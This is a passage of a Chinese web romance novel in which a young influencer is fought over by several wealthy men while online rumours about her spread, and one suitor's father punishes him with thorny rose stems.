掌心滚烫,比身后还烫,妈妈的怀抱,是世界上最温暖的怀抱,哪里最温暖,妈妈就在哪里。 她肌肤红艳艳的,意识泡在酒里,无法思考,凭借本能寻找温暖,一只手被厉乘川拉着,一只手抓住他的腰。 而搂着邢葵脖颈的梁君赫也未放手,她成为汉堡中间的肉饼。 沉默三秒,与厉乘川没离多远的梁君赫道:“哥,后退,我不想跟你一起幸福。” 厉乘川眸如深夜寒星:“先来后到,你退。” “我不退,后来者居上。” 邢葵头昏脑胀,觉得从刚才起就好吵,四周分明都有热量,妈妈为什么不将她圈在怀里? “抱抱我,妈妈。” 厉乘川上前。 梁君赫上前。 又同时后退异口同声:“我来,凭什么你来?” “别吵,别吵,妈妈,亲。”邢葵脑海都烧起大火,得不到贴贴,她又被控着无法自己去贴,难受得掉眼泪。 她就想和妈妈贴贴,她错了吗? 她没结婚,她就错了吗? 她不能接受!邢葵往前冲,手成拳没重量地砸向厉乘川,颠三倒四地道:“我生你气了,好硬,妈妈,软……” 屋内黑暗如墨,室外的月光朦胧清浅,京江市富豪首选居住地,奥瑞莉亚湾,皎洁的月辉洒在见不到尽头的山。 山最高处向东方向,庄园占地不可目测,时值深夜,江家大部分佣人都已入睡,仍有佣人在忙碌,往老爷的书房端盆送水。 江父捏捏眉心,脚伸到一边,佣人蹲下来为他脱鞋脱袜:“少爷多久没回来过了?” 管家指挥着下级佣人放泡脚药材,受问低头:“有两个月了吧,上回见到少爷是新年,毕竟家里离医院远。” 江父睨向桌旁部下,部下垂眸。 “今晚少爷还在加班,长禾路出了连环撞车事故。” “嗯,算他有点正形,你们也别看他太紧,但也别松懈。” “是,还有件事,近期网络上有个网红走红,她在帖子里曾提及一位医生,看形象疑似是少爷,需要我们将帖子处理掉吗?” 江父立即皱眉:“不省心的家伙,他干什么了?” “老爷莫动怒,是正面形象,你还记得去年辉德曾发生过一起护士伤人事件吗?看帖子,这名网红正是当时事件中的受害者邢葵。” 江父凝眉,想到什么,眉眼舒展:“她啊,玉鸣说过,她是厉家日后的女主人,不用处理了,厉乘川看中的人,不会差,伤不到辉德名誉。” “老爷,水好了,” 江父将脚伸进药盆:“当网红火了,还挺有本事,这年头自媒体不好做,咱们辉德的官号迄今才几千粉吧?” 他舒坦地往后靠,“玉鸣什么时候也学学厉乘川,谈个有本事的女朋友。” 窗外深蓝,手术室门打开,防护严实的江玉鸣和其他医务人员走出,和家属交代注意事项。 水流哗哗,清洗完毕的江玉鸣拉开办公室衣柜,穿上白色风衣外套,疲累地打了个哈欠。 但想到邢葵他就容光焕发!邢葵心软,他这么辛苦,到她家定能跟她蹭个拥抱。 江玉鸣看了眼时间,邢葵今天在异地录节目,通常晚上能赶回来她会赶回来,这个点她要么在洗漱,要么手机开了静音直接倒床睡觉。 他弯唇,点开邢葵微信,拨出电话。 电话很快被接起来,江玉鸣要开口喊“好孩子”,电话那头传来的嗓音让他收住话。 “你半夜两点给邢葵打电话?”是厉乘川。 江玉鸣低下眼皮看手机,眉心蹙了下,隐约还听见梁君赫声音,似在唱歌,装糊涂笑道:“好兄弟,我刚去你家借宿,你不在,我想让邢葵给我开门,我好从阳台爬进你家。” 够随意,确是江玉鸣的行事作风,沙发边,厉乘川手按着邢葵:“别没规没矩的,深更半夜,你睡走廊也别吵邢葵休息。” 江玉鸣唇角噙着冷意,说话依然轻慢带笑:“我怎么听着,她没在休息呢?你跟梁君赫在做什么?什么好玩的事,也不带我参加。” “不好听!”手机里,邢葵的喊声含含糊糊,一点不像是清醒状态。 江玉鸣笑意更冷:“啊哈,老厉,你终于忍不住要生米煮成熟饭了?还喊梁君赫帮你,他有哪里值得信任,不如叫我,我一定替你摁着她。” “胡说八道什么。”公寓中开着灯,厉乘川瞄了眼醉得都不知道她在做什么的邢葵,再看向拿着麦克风被逼唱歌的梁君赫。 他删去细节道,“邢葵喝醉了,要听妈妈唱摇篮曲,梁君赫在唱,她嫌他唱得难听,闹个不停。” 好可爱!江玉鸣光是听文字描述,都想咻地一下传送到邢葵身旁。 “要不你唱吧?”厉乘川忽地想到,“我记得你唱歌还不错?” 江玉鸣挑了挑眉,邢葵不在家,他便也不急着离开医院,坐下来,支起下巴:“不好吧,我给邢葵当妈,你不也得叫我妈?” “别废话。”厉乘川走向梁君赫,夺走他拿着的麦克风,醉酒的邢葵因为没贴够在生气,要妈妈哄她,他打开扬声器,“唱。” 梁君赫瞪他:“喂!我可是歌手出的道!” 通话中的江玉鸣笑出声:“嗯嗯,怪不得你没靠唱歌火。” “江哥?江表哥!”梁君赫这才得知来电者是谁,撇撇嘴,向沙发上的邢葵走,“好吧,你唱吧。” “好吧,既然你们非要请我。”江玉鸣托着下颚,顿了一下,缓缓启唇。 邢葵意识浑噩,实则辨别不出好不好听,她就觉得刚听到的感觉不像妈妈,这会儿再次响起的歌声轻软却不清澈,像 花液染红水流,略带沙哑,缱绻动人。 有点像妈妈了。 折腾数小时的人蜷缩在沙发上,渐渐阖眼入睡。 小鸟叽喳的叫声带来第二日,清淡的阳光拂到眼皮,邢葵睁开眼,撑住额头起身。 颅内好似钻进了线虫,一线线地疼,昨天咋了?聚餐完咋了? 她断了片,不记得后续种种,揉着头打开手机,想看看有没有线索,入目却是数通未接电话。 还有未读消息,来自很多人,梁昭然、周梨、兰姐……周镜说得最直接: 【别看社交软件,睡觉。】 好像是围绕着她曝光了什么新闻,邢葵不想稀里糊涂,还是想去看看。 点开微博,热搜1:#深扒邢葵和她的金主# 热搜2:#原以为是励志原来是金主保送# 是有营销号曝光了邢葵过去上班的公司,和《十万个问题》的独家冠名赞助商是同一方。 邢葵看着,简直莫须有的诽谤,签灵潮有考虑到他们有专业的公关团队,相信他们能处理。 等等,她原本公司的老板,姓厉?叫厉乘川? 这不可能!邢葵瞬间酒醒,她的老板是个地中海胖胖,才不是厉乘川那种雕塑完美哥。 话说回来,自车祸起,她就动不动能遇到这位霸总,他先是她的病友,后是她的邻居……眼下又成了他的老板? 事情有点恐怖了。 第82章 一次巧合是巧合,三次巧合,还会是巧合吗? 邢葵在床上,抓着手机,惊疑不定,希望它能变成一把激光剑来保护自己,这时,房门向内推开。 梁君赫细腰长腿,穿着一件圆领黑色毛衣,袖口做旧式破洞,佩戴草莓晶手链端着一只碗。 “小米粥来啦。” 室内温度适宜,开着空调,四周陈设不像酒店,突然,她手里手机被梁君赫抢走。 “一醒来就玩手机伤眼睛!快喝点粥解解酒。” “酒?昨晚我喝酒了?”邢葵愕了愕,撑住额头,一点都回忆不起来,“哪里有酒啊,我没喝啊。” “就那瓶果汁。”梁君赫将小米粥碗塞到她手中,“你都忘光了?深更半夜你醉酒差点被厉乘川亲,幸亏我拦着。” “?”信息量庞大,邢葵在脑海回播了遍听到的话消化,她误饮了酒,然后厉乘川趁她醉要亲她?“真的假的?” 厉乘川不断出现在她身边,从病友到邻居再到老板,诡异离奇,假如梁君赫说的是真的,他还想趁人之危,好变态。 厉乘川不会是变态跟踪狂吧? “还能有假?我差点跟他打起来。”梁君赫挥了下拳,煞有其事,脸不红气不喘地向好兄弟泼脏水,“你没意识,他怎么能亲你呢,都不知道你愿不愿意,对不对?” 邢葵赞同地点头。 “这点我就做得很好,你老让我亲,我一次都没亲。” 什么? 梁君赫一本正经地讲道,现实分明是他和厉乘川都没趁人之危,但他没说过他是君子,他能暗箭伤人。 邢葵的手机被他夺走,此时他的大拇指正按在新闻上,上面写着邢葵老板姓名。 “以后你千万别再碰酒,这回幸好有我在,让你和厉乘川单独相处,你早上醒来可能会没衣服。” 走近床时,梁君赫瞄到了邢葵的手机页面,聪明的他猜到邢葵所想,故意丑化起厉乘川形象。 丝毫不在意,他曾叫过厉乘川二十几年、数不胜数的哥。 什么?邢葵越听越悚然,她喝醉后居然会变接吻魔头,哇还挺厉害。 但也挺危险,邢葵庆幸地喝粥,吞咽,她日后真得注意些,尤其是厉乘川在场的时候。 一口口暖粥入腹,她忽然觉得不对,抬起头来,狐疑地打量梁君赫,他在床边站着,宛如一棵会发光的盆栽,一动不动,正对着她,眉眼隐约含笑。 “你态度怎么变了?是我昨晚干了什么吗?”邢葵紧张起来,昨天乃至前段时间,梁君赫要么不看她,要么傲慢地看她。 她没完全信梁君赫鬼话,万一昨夜她对梁少爷做了什么不可描述的事,她记得她想跟他道歉来着。 梁君赫闻言,扬起两边嘴角,一张美貌精致的脸如月生辉。 “你向我道歉了。” 邢葵一听:“对,我是想的,你接受了?”她还计划跟梁君赫说,他们得终止褪黑素交易。 褪黑素交易的成立前提是他俩对彼此没有感情,如今梁君赫喜欢她,前提崩毁,她想要的假恋爱也崩毁,再继续枉费心力。 梁君赫笑,仿佛稀里糊涂的昨夜,道歉的真是邢葵而非是他。 “我特别感动。” “你好夸张,你看起来就不像会特别感动的人。”邢葵吐槽。 “所以我决定嫁给你。” “?” 猝然,梁君赫俯下上身,暖烘烘的脑袋埋到她的小腹,邢葵吓得不得不两手抬高碗,以防碰洒。 她绷紧小腹,感受到梁君赫在她腰腹深呼吸,毛茸茸的粉发还隔着衣服在她肚子上蹭。 “葵葵老婆,你好些天没碰我了,我吃不好睡不好,我不装了,再也不装了,我们未来每天都黏在一起吧!” “你发什么神经。”邢葵不知所措,说话都变磕巴,“我知道你喜欢我,但我、我对你没那种感觉,婚姻是不能这样的。” 他瞧上去没在听,黏黏糊糊地接着蹭,好似爱在主人怀里打滚的小狗。 “放开我,我们的褪黑素交易该结束了。” “为什么要结束呢?”小狗环住邢葵的腰,昂起泛红的脸,“你可以试着喜欢我,那我们就能长长久久地继续。” 邢葵愣了一下,无论真恋爱假恋爱,梁君赫身上能有的“合同规定多久内不能结婚”的条件不会改变,他依然是当前最合适的选项。 也就意味着,只要邢葵也喜欢上他,他这个选项依然能被选。 “是我要喜欢你就能喜欢上的吗?”邢葵发问,心很难被控制跳动,而且他还和疑似变态跟踪狂的厉乘川称兄道弟…… 邢葵眼珠一转,“你又不像许野一样乖。” 梁君赫瞬间吃醋:“他怎么乖了,我学,我能比他还乖。” 邢葵意味深长:“比如他从不瞒我任何事,我问什么他答什么。” 梁君赫昂声:“我也能!你随便问!我给你展示展示!” “我想想哦。”邢葵将粥碗放到床头柜,投石问路,“这里是哪儿?” “我租的公寓。” “我怎么来的?” “助理开的车。” “你说厉乘川,厉乘川人呢?” “洁癖,离开洗澡去了。” “哦对,你的兄弟厉乘川,是不是就是鼎天集团那个厉乘川啊?” “是啊。”梁君赫贴在邢葵腰间弯唇,一下意识到她的目的,再开口,声音夹上几分哀伤惋惜。 “不过我不要跟他当兄弟了,知人知面不知心,昨晚要亲你的他,令我感到陌生,我怀疑,他并不像过去几十年表现出来的样子。” 天呐!就连相识几十年的兄弟都怀疑厉乘川。 梁君赫搂抱着邢葵的腰,似不敢相信他认识到的真相,语气中的苦涩犹如正在吃生苦瓜。 邢葵都有一点点共情,她对厉乘川的印象不好,因为江玉鸣他们总跟她说厉乘川这样那样,她也确实见到厉乘川管东管西。 但坦白说,她也绝不厌恶厉乘川,很多时候他人都挺不错的,住院时会关心她,出院后便宜租她房,一年来,她收到过不止一次来自厉乘川的投喂。 “谁能想到呢?”梁君赫哀哀怜怜地叹气,“真得给他颁个演技金奖,平时演得太好了,我好难过啊葵葵。” 她没精力安慰梁君赫,她正害怕一直以来向她发善心的厉乘川是在跟踪她。 “葵 葵放心!我不会让他接近你的!”梁君赫摸到她的手,“厉乘川他这辈子别想害你一根汗毛!” “你在乱说我什么?” 瞬时,邢葵浑身每一根汗毛竖直,争先恐后表达它们不想被伤害的愿望,抬眼望去,厉乘川就立在卧房打开的门前。 黑衣、干净,冷锐的眸子扫量她,似在查探她宿醉后是否安好,“别信梁君赫满嘴跑火车。” 是没轻易全信,可电视剧里,大善人往往伪善,凶残狂徒往往掩于人群,邢葵所见证据,正向还没能打败反向。 她心里警惕,厉乘川大步上前,径直拽开梁君赫,要说话,瞥见他手上亮着的手机,一怔。 邢葵猜想,原本厉乘川想跟她说,别看手机新闻,他会在她还没发觉时悄悄将它们处理,让他还是她老板这件事消于网络。 可她看到了。 “你听我——” “啊,真是没想到,厉总你的职位这么大,还是我老板的老板。”邢葵挤出笑容。 厉乘川眼神一颤,梁君赫撇了下嘴角似笑非笑。 其实如若邢葵得知她的失忆,对她自己是折磨,对厉乘川却有好处,毕竟厉乘川是她从前选中的人。 然而,不知道失忆的邢葵哪会质疑她的记忆,只当她地中海胖胖老板上面还有老大,只要她不起疑,就没人主动向她点破。 即使如此,邢葵依旧觉得厉乘川很怪,哪有人一而再再而三地与她的生活相关,她尽量笑容如常,不让厉乘川瞧出异样。 “刚我还在跟梁君赫聊,你是我上司怎么不跟我说,早晓得过去我就不用拜托周律师把关解约合同了,是你肯定没问题。” 厉乘川观察着她,少顷:“嗯,我怕你有压力,不是什么重要的事,我赞助综艺也是看好节目有利可图,网上沸沸扬扬少看少听,鼎天公关部在处理了。” 他同时讲完了两件事,简明扼要。 “昨晚也没发生什么,梁君赫心眼小,昨晚你想听歌,嫌他唱得难听,我就换了人,他因此记恨,编排我任何话都有可能。” 梁君赫手掌按上厉乘川肩,看似没有用力:“哥,当着我的面说我心眼小,不好吧?” 厉乘川冷眼睨过去,忽略肩头力道:“背着我编排我,就好?” 两位昔日兄弟并肩而立,好一幅加引号的“兄弟情深图”。 邢葵默默将床头柜上的粥碗捧回来,继续喝。 好古怪,想报警,但要冤枉了好人可咋办?“欸?那最后是谁唱的?我没印象了。” 梁君赫甜甜地笑出小虎牙:“既然没印象了那也不用知道,葵葵,要不我今天重唱给你听,你昨晚不清醒,我出道的时候可是歌手。” “江玉鸣唱的,你不喜欢梁君赫唱的。”厉乘川才不给梁君赫表现机会。 “他唱得不好,他唱得都让你睡着了!”梁君赫开启话痨模式。 邢葵悄无声息挪了挪臀,捧着粥远离两人,两个人各有心思,说的话都不可尽信,但他们这些兄弟,不说现在,以前感情应当不赖。 关于厉乘川是不是变态跟踪狂,她或许该多问几名兄弟,根据他们的话综合判定。 她分别给江玉鸣、周镜、许野发去消息:【有空见一面吗?有件事我想当面和你们聊。】 【好,那就星期……】 长指编辑完回复,放下手机,奥瑞莉亚湾江家,雨淅淅沥沥地下着,江玉鸣靠在庄园墙壁,漫不经心地瞄向前方,瑰丽夺目的脸凛若冰霜。 佣人跪在地上,泪如雨下,不停搓着手求饶,看面孔,俨然是昨晚给江父端盆送水的佣人之一。 “少爷,我真不敢了,求少爷饶过我一次,求少爷给我一次机会!” 江玉鸣轻笑:“你签过保密协议,不该向外界透露你在江家听到的任意一个字。” “我错了我错了。”佣人全身被雨打湿,想跪着靠近江玉鸣,打着伞的管家托住他,他转而抱住管家的腿,“陈妈,您替我求求情,我赔不起泄密的钱,我会死的。” “没人替你求情。”江玉鸣抱住手臂,“你会死的?你连夜向记者卖消息的时候,怎么不想想被你造谣的人也有可能会死啊。” 第83章 正是这名佣人往外传了邢葵和厉乘川的关系,为了向记者卖钱。 他以为他用小号就能隐于黑暗,殊不知江玉鸣逮住他易如反掌。 天边灰蒙,细密的雨沿着长廊淅沥沥落下水晶帘,江玉鸣靠在墙边,白风衣在斜风中晃荡,与门口旁的红白玫瑰花丛相衬,秾丽如画,令人胆寒。 “少爷!饶命!”佣人的告饶声凄厉。 江玉鸣没走,也没开口让陈妈赶佣人走,佣人就当还有机会,跪在雨中,不断狼狈恳求。 他的衣裳吸满雨水,脸颊被风痛刮,声声凄切,无人理他,也无人止他。 各个角落里,江家的佣人们噤若寒蝉。 有的人是老人,了解江家少爷人好相处但绝不好惹;有的人则像这位不懂规矩的佣人一样,刚来没多久,只当总是嘴角挂笑的少爷好相与。 没想到,网上综艺嘉宾和金主的传言一出,没过多久,数月未见的少爷返回了江宅,冷笑降罪。 陈妈打着伞,注意到窥视,在伞下瞪瞪那些新人,警告他们去干活。 这时,从门内走出一名佣人,走向江玉鸣,恭恭敬敬:“少爷,老爷请你去一趟书房。” 陈妈脸色微变,近乎条件反射地看向门边玫瑰花圃,红的,白的,玫瑰花开得正艳,花刺尖利密集。 江玉鸣面不改色,移步进屋,那名佣人则低着头,等到他经过他身边,他走向花丛,取出剪刀。 剪了几支狰狞的茎,剪掉一端的刺。 二楼书房的门打开,坐书桌旁的江父投去视线。 “杀鸡儆猴,不姑息养奸,做得不错。”江父语气生硬地夸赞,他比梁父岁数小一些,身材也比梁父好,平日重视保养,坐的椅子都是人体工学椅。 可他的五官神情比梁父还要戾,仿佛眼前之人不是儿子,而是什么仇敌。 夸完,这位父亲很快套上粗线手套,接过佣人递来的长茎,起身。 “但要适当,叫人将他轰出去便是,搞得上下皆畏,我是不是教过你,你是医生,不该让人感觉暴虐。” “正是因为我是医生。”从被召,再到江父拿起茎条,江玉鸣始终没变过面色,直到这一刻他方蹙眉。 “我是骨科医生,骨科,多少病人缺胳膊断腿,努力活下,又被风言风语杀死,他为一己私利,让邢葵置身全网流言蜚语,难道不该严惩吗?” “她又不会有事。” “嗤。”江玉鸣讽笑,“她没事只是因为她是邢葵,换作其他人呢?这件事,归根究底,是父亲你不够谨慎。” “你说我什么?你还想怪我?”江父暴怒,走向江玉鸣身后的步伐都变急促,“白眼狼,我白养你几十年,外套脱掉。” 自小如此,江玉鸣一有让江父认为不合格的行为,就是茎条体罚。 被抓 在一起的玫瑰茎条笔直深绿,有粗有细,遍布森森芒刺,像蛇类的毒牙,扎进人的皮肉能牵出一道泼地的血弧。 江玉鸣手抓住风衣领口,往下脱,他习惯受罚,一贯沉默挨打,很少向江父顶嘴,这一回例外。 “说不说你都要打,那我继续说,父亲打人这么有劲,连洗脚水都得让佣人端,要是厉乘川得知,定要带你去看看医生。” 他闷哼,尖刺密布的茎条冰冷甩下,在他的后背,用血书写不容被反抗的父权。 江父横眉怒目:“我原本还在想,你什么时候能像厉乘川,给我找个有本事的儿媳,看你这副差劲的样子,哪个眼瞎了会看上你!” 江玉鸣额头冷汗,在喘息中捏拳:“你就没一点自责吗?” “我自责什么?”这句话简直是往江父头上泼洗脚水,“你不是已经从记者那里将她是那个网红的消息买下来?我们江家已经帮厉乘川解决了问题。” 狗仔通常会一条条爆料,以便事主花钱堵嘴,因此目前网上还没爆素人邢葵就是天天奇妙历险。 这点很关键,这点放狗仔嘴里吐不出象牙,把控在他们这一方却能成为阻遏谣言的有力证据…… “帮厉乘川,那邢葵?” “她是他女朋友,有什么区别。” 书房该充满书卷气,茎条抽打的声音如窗外下大的雨,噼里啪啦打在屋檐,雨水掀起土壤腥气,茎条也刺出铁锈血腥。 江父夸着邢葵有本事,却没将她视作独立个体。 女人只有漂亮,江父当成花瓶。 女人不仅漂亮,江父当成高档花瓶。 江玉鸣忍着剧痛,拉开嘴角讥笑:“这么多年,父亲真是半点没变。” 窗外细雨斜风,夜幕无光,风吹着鹅黄色的窗帘卷起一角。 黄布落下,邢葵家中,她往桌面放上一张白纸,扯开钢笔套。 近期发生了不少事,有不少事需待解决,她洗过澡,想在睡前复个盘。 也好多年没用过钢笔了,她想试试。 金属笔尖悬在纸张左上角,邢葵认真细想,一则是网络丑闻问题。 门外突然响起开门声,邢葵火速抄起一旁美工刀放口袋,听出来人用了钥匙,知道是谁,走过去,看了眼猫眼确认。 拉开门:“江玉鸣,我真得将你的钥匙收了。” 她话音滞住,隔着猫眼如雾里看花,门开后,江玉鸣憔悴无血的样子入目,她还没细瞧,他俯身倒向她,反手关上门。 “熬夜好累啊葵葵,昨夜给你唱了一晚上歌,你听我嗓子哑的。” 邢葵差点没站稳,跌跄几下,一只手虚虚按上江玉鸣的肩,刺鼻的血腥味直钻鼻息。 她不由蹙眉:“少来,怎么可能唱一晚上,厉乘川和梁君赫都跟我讲了,你就唱了半首我就睡着了。你今天的病人是流了多少血啊。” 江玉鸣用额头蹭蹭她的颅顶,像在外挨饿受冻的流浪者在汲取温暖:“没看,反正死不了的程度吧,在忙什么?这么晚还不睡,等我呢?” 邢葵揪着眉嗅嗅血味,用肩膀拱了他一下:“三天两头就知道发骚,放开放开,我在复盘呢。” 江玉鸣松手:“复盘?带个我。” “你刚刚还说累。”邢葵往回走。 “是哎,谁让我抱到了充电宝。”江玉鸣跟在她后面,虚弱的脸扬起笑,“要不复盘前再亲一口,我能有精神到翻十个滚。” 邢葵捂住双耳:“不听不听,要不你就别参与复盘,我不告诉你我最近的事。你先坐下吧,我去倒杯水。” 等她端着水回到桌前的时候,江玉鸣已经在看她刚写的东西,水递到他面前,他抬起头:“在担心网上的喧嚣?” 邢葵坐下来:“会有一点吧,说我是厉乘川保送进的节目组,无稽之谈,你喝水,不是说嗓子哑了?” 江玉鸣唇角弯了弯,举起水杯:“别担心,你是靠的自己,梁昭然也只不过推荐,是你有流量有话题性,才能被节目组选中,等大众意识到你是天天奇妙历险,就能改变网络风向。” 邢葵嗯了声:“目前鼎天、灵潮节目组三方都发了声明,表示网传不实,但群情激愤,声明止不住谩骂,三方也在等《十万问》最后一期我身份公开带来转折点。” 网上不清楚她是天天奇妙历险,都在骂元气向日葵,三方会议后决定,就让他们骂。 就让他们骂个昏天黑地,他们坚信邢葵是素人,全靠的金主才能上节目,就让他们坚信。 等到《十万问》最后一期,粉丝量数百万的天天奇妙历险身份公开,三方再以点攻面,推翻全部指控。 “好,第二个问题呢?”江玉鸣食指点点纸张,伸出来的食指都要比往常白。 “第二个问题……你看新闻了吗?他们说,厉乘川是我的老板,我根本不知道。” 邢葵悄悄打量江玉鸣,他的脸苍白,上厚下薄的唇因为热水有了些许粉红,微张,似在讶异。 随即,他逮住她的手,两手握住:“太可怕了葵葵,我兄弟不会是变态跟踪狂吧!” 他也有同感!邢葵的猜测再一次被肯定:“梁君赫也说厉乘川有问题,我之前不是给你发了信息,想邀你们兄弟一起见一面嘛,也是想问问,但你们几个都有工作或比赛,发给我的时间各不相同。” 江玉鸣还在惊骇中:“那再调整调整,这事不能大意,虽然我认识老厉不少年了,但知人知面不知心。” 好熟悉的话,梁君赫是不是也这么讲的? 邢葵视角有限,奇怪的厉乘川奇怪地无处不在,不能看他帅,就排除掉他是变态跟踪狂的可能。 “好,还有第三个问题吗?”江玉鸣在心里笑了十遍厉乘川,接着问道。 “有的。”邢葵露出苦恼的表情,前两个问题都没能让她露出这种表情。 她攥紧钢笔,写下第三个问题:妈。 “我家亲戚很多,中老年亲戚不看综艺,年轻一辈肯定有看的,俗话说,‘好事不出门,坏事传千里’,我妈这会儿有可能听说了网上流言。” 网上都说了些什么呀,从说她金主是厉乘川,到她被厉乘川包-养,再到什么“我是她高中同学,她高中就跟男生不清不楚”等等,言论一分钟比一分钟恶心。 同一本教材,同一个老师,都未必教得出同样素质的人,何况那些账号皮下来自五湖四海。 邢葵能自我调节付之一哂,被取笑丑陋的疤痕期她都熬了过来,岂能在发展期被打败,可是妈妈看见得多伤心。 “我想给她打通电话试探下,又怕我妈万一不清楚,被我点得去查。” 邢葵为此焦虑,纸上罗列了三个问题,毫无疑问她最在意的是第三个。 江玉鸣伸手抚摸她的头发:“你很在乎你母亲。” “那当然呀,有我妈才有我,你有没有听过类似‘男孩子脑子比女孩子好’、‘男孩子学理比女孩子学快’的言论?从小我身边不止一个亲戚甚至同龄人这么说。 小孩子多容易被大人的言论影响啊,我小时候的玩伴许许多多就这样一生停在出生的镇子里。 但我妈却会跟我说,不要听他们的话。没她,我或许不会成绩优异,不会考上京江大,不会成为现在的我。” 邢葵感叹,“即使,我妈听了那些话几十年,终究受到影响,但她绝不会信网上那些造谣,相信我不检点的。” 江玉鸣扫了扫壁钟:“已经九点多了。” “嗯,九点多我妈睡觉了,我明天打个电话探一探。”邢葵打开手机日历,添加了日程提醒。 江玉鸣看着她打字:“还好我没妈,没这烦恼。” “乱说,你石头缝里蹦出来的没妈,哦哦。”邢葵紧急闭嘴,江母可能是去世了。 “怎么不说了?”江玉鸣单手撑起下巴,“怎么不问问为什么没妈?” “我猜到了呀。”邢葵瞄了他一眼。 “你猜不中的。”江玉鸣嘴角上扬,似想到什么,整个人散发妖异危险,“我妈,被我杀了。” 邢葵:“……” 默了几秒,她站起来,拿起江玉鸣喝空的陶瓷杯,“别整那么渗人,我又不是头一天认识你。” 江玉鸣静了一下,嘴角的弧度乖乖收了回去。 “你进门不是累吗?还不去睡觉。” 看上去江玉鸣是累坏了,今天的手术一定是超高难度,他累得走向西边客房,都没想夜里缠着她睡。 邢葵注视他的背影,转头去厨房洗杯子,放好茶杯,再拉开储物柜门,拎出一只箱子。 小 心翼翼将客房门推开,邢葵带着小药箱走进,江玉鸣趴在床上入睡,没有脱衣,也没盖被子。 睡得很深,毕竟她往水里加了褪黑素。 她轻轻地抓住江玉鸣手臂,将他的白色风衣脱下,风衣里是红衬衫,后背布料密密麻麻的血洞映入眼帘,她无声倒吸一口凉气。 真的是,受了伤不想着搽药,来她家硬忍啊? 褪黑素需要时间反应,所以邢葵故意在江玉鸣面前提复盘,引他陪她复。 幸好她不笨,邢葵打开药箱,江玉鸣后背的血已经凝结,一部分布料和伤口黏连,恐怖得让人心惊,她仔细清理、上药,又帮他套上外套。 将一切恢复原样,她悄悄地离开,江玉鸣选择隐瞒,她不多嘴过问。 返回桌前,邢葵提笔写下第四个问题:梁君赫。 江玉鸣还不知道梁君赫的变化,明天等他状况好些再跟他说吧,梁君赫说要追她,追到她喜欢他。 邢葵百思不解,目中无人梁少爷一夜间对她态度大变,白天要不是她偷偷溜了,梁君赫能把她衣服蹭到起球。 她向梁君赫坦白了她的行动目的,催婚、假恋爱……他早就猜到似的,粘着她表示: “那正好,我们可以丝滑地转到真恋爱!葵葵老婆,喜欢我你就能得到一个完美的对象哦!” 有一说一,梁君赫说得不无道理,可能她真该给他追求的机会,等明天她再问问江军师。 邢葵盖上钢笔盖子,熄灯睡觉。 室内由暗缓缓转亮,邢葵从卧室里半睡半醒地晃出来,揉着眼睛进洗手间洗脸刷牙,出洗手间又荡向厨房,如同行步迟缓的低等丧尸。 当前才凌晨四点多,过去一年她几乎没这个点下过床,但今天她必须得早一点。 江玉鸣不知失去多少血,邢葵洗净小米和红枣,炖上补血的小米红枣粥,检查冰箱,翻出酒酿,做红糖鸡蛋醪糟。 她厨艺一般,速度也慢,体感没用多少时间,等醪糟香气散出,时间已快六点,天边呈现不浅也不深的蓝色。 江玉鸣睁开眼,胳膊肘撑着床起身,解开风衣,按着肩检查身后伤口,这个角度不方便看,他又换成用手去摸。 邢葵开门就看到他在够后背,江玉鸣微滞,她眨眼:“你后背痒啊?” 她转过身,“不用觉得被我撞到尴尬,后背痒人之常情,帅哥也会后背痒,我理解的!” 江玉鸣忍不住笑,早上能见到邢葵他心情真好,连伤都不再疼:“嗯嗯,那你要不要替我挠啊?” “你神经,不要。” 邢葵小幅度偏头,看江玉鸣穿上风衣,用圣洁的白掩去深红的血。 “快去洗脸刷牙,我今儿要给我妈打电话,紧张,起得早,做了早饭,让你尝尝我的厨艺,错过没下一次。” 一碗鸡蛋醪糟下肚,桌边的江玉鸣放下碗,笑眯眯:“葵葵厨艺真甜,喝完甜到我高血糖。” 邢葵脸红:“哪有用甜来形容厨艺的,你去上班吧,碗筷我收拾,我刚好边洗边想想怎么试探我妈。” 至于梁君赫的转变,左右江玉鸣晚上八成还要过来,她晚上再说。 走到玄关,江玉鸣的脸上都盛满笑意,糖水的甜味如丝停留在他舌齿,他对如今的生活无比满意。 邢葵在找梁君赫假恋爱,不会真谈恋爱,她的事能凭此解决,而江玉鸣也能凭此留在她身边享受。 诸事顺遂,他还能去骂江父一百句。 蓦地,玄关前传来门铃声。 江玉鸣略微疑惑,物业?厉乘川?作为背着兄弟的背叛者,他没急于开门,而是先靠近猫眼。 猫眼后的人全副武装,在按完门铃后摘下了帽子和墨镜,露出一头粉发和一对桃花眼。 江玉鸣眼皮猝地急跳几下,他的心头,一种不好的预感翻涌而上。 他按下门把手,门前的人本要张手给开门人一个拥抱,见到是江玉鸣顿住,要拥抱两只手抬高,一只去揭口罩,一只招起来打招呼。 梁君赫笑容恣意张扬:“嗨,江哥,你也来当偷子啊?” 他说,偷、也。 霎那间,江玉鸣会意,下颌线绷紧,阴冷地盯着梁君赫,也展现一个笑:“表弟,比起沦陷局中,我更爱在局外看戏。” 梁君赫微抬下巴,上翘的眸子里,视线仿佛具有洞穿力,笑得倨傲轻蔑。 “是吗?可是你的表情看起来恨不得将她锁在笼子里。” 第84章 恨不得将她锁在笼子里,盖上布,隔绝一切觊觎的视线。 梁君赫嘲笑着,形容江玉鸣的神情,进入邢葵家门,他的手搭上江玉鸣肩膀:“以前我还在想,咱们兄弟性格不同怎么感情那么好,原来是咱们爱好同一个女人。” 厉乘川性子冷淡,内里却相信兄弟情义,屡有怀疑都被化解放下,但梁君赫不同。 他一发现江玉鸣半夜给邢葵打电话就决定将他乱棍打死。 江玉鸣拧着眉斜视梁君赫:“你一边夸兄弟感情好,一边要抢兄弟心上人?” “江哥,真的假的?你真当你是局外人?”梁君赫的手被江玉鸣拂下,他聪明的脑袋瓜动起来,“等一下,我老婆是也去找你假恋爱了吗?” “你胡说什么,谁让你叫她老婆了。” “这里又没外人。”梁君赫摸下巴,自顾自地梳理,“我猜你现在正停在生理性喜欢阶段,你快升级和我竞争,让葵葵老婆淘汰你吧。” 江玉鸣听得阖眼睛,阖了好几次。 梁君赫还点着头继续絮叨,“有比较才能体现出我的好,我跟周镜许野争不太够,葵葵既然淘汰他俩看上我,就证明我比他们有优势,太对了,江哥,我很需要你啊。” 你滚。 要不然梁君赫怎么会还没见到邢葵,就被重重提防,他实在是,嘴上有兄弟,目中无兄弟。 每一个字音都在诉说梁君赫的狂傲,每一个字音都在告诉江玉鸣,他的平静生活要被打破。 江玉鸣微笑:“很可惜,葵葵不喜欢你,我想她该换个目标了。” 他这么说着,其实也不知道他在说什么,他假想过事情会出现意外,但意外真正到来,还是猝不及防。 